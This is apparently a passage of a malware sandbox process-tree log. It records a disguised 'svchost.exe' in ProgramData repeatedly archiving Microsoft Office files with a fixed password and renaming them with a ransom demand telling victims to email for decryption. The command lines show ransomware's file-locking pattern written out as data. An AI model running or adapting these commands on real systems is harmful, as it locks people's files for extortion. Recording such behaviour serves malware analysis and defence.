                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\HeartbeatConfig.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\HeartbeatConfig.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us\BRANDING.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us\BRANDING.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OsfInstallerConfig.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OsfInstallerConfig.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OsfInstallerConfigOnLogon.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OsfInstallerConfigOnLogon.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\DATES.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\DATES.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\PHONE.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\PHONE.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\TIME.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\TIME.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\METCONV.TXT(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\METCONV.TXT" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AFTRNOON\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AFTRNOON\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AXIS\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AXIS\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLENDS\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLENDS\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BOLDSTRI\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BOLDSTRI\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BREEZE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BREEZE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5492
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CASCADE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CASCADE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\COMPASS\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\COMPASS\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\DEEPBLUE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\DEEPBLUE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECHO\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECHO\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:736
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
